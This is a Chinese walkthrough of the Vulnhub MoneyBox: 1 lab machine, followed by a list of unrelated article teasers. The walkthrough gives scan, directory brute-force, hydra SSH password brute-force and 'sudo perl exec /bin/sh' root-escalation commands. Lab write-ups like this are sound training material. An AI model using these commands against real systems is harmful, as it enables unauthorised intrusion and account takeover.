Vulnhub: MoneyBox: 1靶机
kali：192.168.111.111
靶机：192.168.111.194
信息收集
端口扫描
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.194
ftp匿名登录发现trytofind.jpg
目录爆破发现blogs目录
gobuster dir -u http://192.168.111.194 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
访问后查看源码提示另一个目录S3cr3t-T3xt
访问S3cr3t-T3xt目录查看源码
该密码为图片隐写的密码3xtr4ctd4t4
用提示的用户爆破ssh
hydra -l renu -P /usr/share/wordlists/rockyou.txt 192.168.111.194 -s 22 ssh -t 64
提权
查看/home/lily/.ssh/authorized_keys，发现renu用户可以使用证书登录lily用户
登录后查看sudo权限
ssh lily@192.168.111.194
提权方法：perl | GTFOBins
提升为root
sudo -u root perl -e 'exec "/bin/sh";'
flag
相关文章：
Vulnhub: MoneyBox: 1靶机
kali：192.168.111.111 靶机：192.168.111.194 信息收集 端口扫描 nmap -A -sC -v -sV -T5 -p- --scripthttp-enum 192.168.111.194 ftp匿名登录发现trytofind.jpg 目录爆破发现blogs目录 gobuster dir -u http://192.168.111.194 -w /usr/share/word…...
[国产MCU]-BL602开发实例-LCD1602 I2C驱动
LCD1602 I2C驱动 文章目录 LCD1602 I2C驱动1、LCD1602/LCD2004介绍2、硬件准备3、驱动实现本文将详细介绍如何在K210中驱动LCD1602/LCD2004 I2C显示屏。 1、LCD1602/LCD2004介绍 LCD1602液晶显示器是广泛使用的一种字符型液晶显示模块。它是由字符型液晶显示屏（LCD）、控制驱…...
AI 绘画Stable Diffusion 研究（七） 一文读懂 Stable Diffusion 工作原理
大家好，我是风雨无阻。 本文适合人群： 想要了解AI绘图基本原理的朋友。 对Stable Diffusion AI绘图感兴趣的朋友。 本期内容： Stable Diffusion 能做什么 什么是扩散模型 扩散模型实现原理 Stable Diffusion 潜扩散模型 Stable Diffu…...
URLSearchParams：JavaScript中的URL查询参数处理工具
文章目录 导言：一、URLSearchParams的来历二、URLSearchParams的作用三、URLSearchParams的方法和属性四、使用示例五、注意事项六、结论参考资料 导言： 在Web开发中，处理URL查询参数是一项常见的任务。为了简化这一过程，JavaScr…...
1.4 数据库管理与优化
数据库管理与优化 文章目录 数据库管理与优化1. 数据库概述1.1 数据库的定义和作用1.2 数据库管理系统（DBMS） 2. 数据库模型2.1 关系型数据库**2.2 非关系型数据库 3. 数据库设计3.1 数据库设计原则3.2 数据库设计步骤 4. 数据库优化4.1 数据库性能优化4…...
T113-S3 Tina-Linux -- 2.开发板使用
1. 硬件环境 1.1 开发板 型号：100ASK_T113-PRO Base V1.1（韦东山）配置：CPU：T113-S3，RAM：128MB，ROM：128MB 2. 各模块使用 2.1 wifi wifi模组型号：XR829…...
Django-配置邮箱功能（一）：使用django自带的发送邮件功能
一、获取邮箱授权码 以QQ邮箱为例子： 1、进入到设置，找到账户 2、开启POP3等服务，点击管理服务 3、进入管理服务，生成授权码 4、按照要求发送短信就可以了 5、将授权码复制保存，离开界面就看不到了 二、django项目中…...
JS实现树形结构、一维数组以及map之间的转换
const treeData[ {id:1, name:中国, children:[ {id:11,name:河南省,children:[{id:111,name:南阳市,children:[{id:1111,name:淅川县,children:null}]},{id:112,name:郑州市,children:[{id:1121,name:中牟县,children:null}]}] }, {id:22,name:广东省,children:[{id:221,name:…...
Vue中自定义.js变量
1、定义.js文件 order.js文件内容： // 订单是否报账 const EXPENESS_STATUS_NO0; const EXPENESS_STATUS_YES1; // 状态 0-未发货 1-发货 2-确认收获 const STATUS_NO0; const STATUS_SEND1; const STATUS_DELIVERY2; // 如何不加这个，vue中引…...
基于深度信念神经网络+长短期神经网络的降雨量预测，基于dbn-lstm的降雨量预测，dbn原理，lstm原理
目录 背影 DBN神经网络的原理 DBN神经网络的定义 受限玻尔兹曼机（RBM） LSTM原理 DBN-LSTM的降雨量预测 基本结构 主要参数 数据 MATALB代码 结果图 展望 背影 DBN是一种深度学习神经网络，拥有提取特征，非监督学习的能力，通过dbn进行无监督学习提取特征，然后长短期神经…...
SyntaxError: Cannot use import statement outside a module
node环境运行报错： 解决步骤： 1. npm init -y 2. 在 package.json 文件中加入一条："type": "module", 3. 保存后再执行即可 附：最好是不要在node用import，否则需要上次配置 建议1：用re…...
为什么要做数据可视化系统
数据可视化系统在当今数字时代发挥着重要的作用，成为许多组织和企业的不可或缺的工具。随着信息爆炸式增长和数据处理的需求不断增加，数据可视化系统帮助人们更好地理解和分析数据，为决策提供重要支持。数聚股份将详细介绍为什么要做数据可视…...
Java项目作业~ 通过html+Servlet+MyBatis，完成站点信息的添加功能
需求： 通过htmlServletMyBatis，完成站点信息的添加功能。 以下是站点表的建表语句： CREATE TABLE websites (id int(11) NOT NULL AUTO_INCREMENT,name char(20) NOT NULL DEFAULT COMMENT 站点名称,url varchar(255) NOT NULL DEFAULT ,…...
基于 Arduino 编写 ESP32 BLE Server 例程
测试代码如下： 支持 BLE 连接支持 BLE 数据传输 #include <BLEDevice.h> #include <BLEServer.h> #include <BLEUtils.h>namespace BLEServerDemo {BLEServer *pServer nullptr; BLEService *pService nullptr; BLECharacteristic *pCharacte…...
Mac环境变量配置
export HOMEBREW_NO_AUTO_UPDATEtrue关闭Homebrew自动更新，因为每次安装软件都要自动更新，特别慢export JAVA_HOME/Library/Java/JavaVirtualMachines/jdk1.8.0_271.jdk/Contents/Home配置JAVA_HOMEexport ANDROID_HOME/Users/fanpaopao/Library/Android…...
使用FTP文件传输协议的潜在风险
数据（事实，数字，价值）是当今业务运行的核心要素。但是，如果数据没有得到有效的存储和传输，它们就会成为阻碍业务发展的障碍。如果企业不能及时地把数据送到合适的地方，就会造成严重的经济损失。…...
Jtti：windows虚拟内存最小值太低如何解决
当Windows虚拟内存的最小值设置过低时，可能会导致系统性能下降、应用程序崩溃甚至系统不稳定。解决方法包括： 调整虚拟内存设置： 可以通过以下步骤调整虚拟内存的设置： 右键点击“此电脑”或“计算机”，选择“属性”。…...
基于微服务+Java+Spring Cloud +Vue+UniApp +MySql实现的智慧工地云平台源码
基于微服务JavaSpring Cloud VueUniApp MySql开发的智慧工地云平台源码 智慧工地概念： 智慧工地就是互联网建筑工地，是将互联网的理念和技术引入建筑工地，然后以物联网、移动互联网技术为基础，充分应用BIM、大数据、人工智能、移…...
Unity框架学习--4 Mono管理器
作用：使不继承MonoBehaviour的类能够开启协程，并且可以使用FixedUpdate、Update、LateUpdate进行每帧更新。 原理： 1、在场景中创建一个继承MonoBehaviour的“执行者”脚本，这个脚本就专门用来开启协程和监听帧更新。 2、Mono管理…...
Unity zSpace 开发
文章目录 1.下载 zSpace 开发环境1.1 zCore Unity Package1.2 zView Unity Package 2. 导入工程3. 发布设置4.功能实现4.1 用触控笔来实现对模型的拖拽： 5. 后续更新 1.下载 zSpace 开发环境 官网地址 1.1 zCore Unity Package zSpace 开发核心必须 1.2 zView …...
利用最小二乘法找圆心和半径
#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中，时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志，到供应链系统的物流节点时间戳，时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库，其日期时间类型的…...
Linux 文件类型，目录与路径，文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件：-（纯文本文件，二进制文件，数据格式文件） 如文本文件、图片、程序文件等。 目录文件：d（directory） 用来存放其他文件或子目录。 设备…...
)
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装（Encapsulation） 定义：将数据（属性）和操作数据的方法绑定在一起，通过访问控制符（private、protected、public）隐藏内部实现细节。示例： public …...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上，你可以使用apt包管理器来安装NFS服务器。打开终端并运行： sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享，例如/shared： sudo mkdir /shared sud…...
使用分级同态加密防御梯度泄漏
抽象 联邦学习 （FL） 支持跨分布式客户端进行协作模型训练，而无需共享原始数据，这使其成为在互联和自动驾驶汽车 （CAV） 等领域保护隐私的机器学习的一种很有前途的方法。然而，最近的研究表明&…...
Unit 1 深度强化学习简介
Deep RL Course ——Unit 1 Introduction 从理论和实践层面深入学习深度强化学习。学会使用知名的深度强化学习库，例如 Stable Baselines3、RL Baselines3 Zoo、Sample Factory 和 CleanRL。在独特的环境中训练智能体，比如 SnowballFight、Huggy the Do…...
SpringCloudGateway 自定义局部过滤器
场景： 将所有请求转化为同一路径请求（方便穿网配置）在请求头内标识原来路径，然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...
安宝特案例丨Vuzix AR智能眼镜集成专业软件，助力卢森堡医院药房转型，赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下，卢森堡罗伯特舒曼医院（the Robert Schuman Hospitals, HRS）凭借在无菌制剂生产流程中引入增强现实技术（AR）创新项目，荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...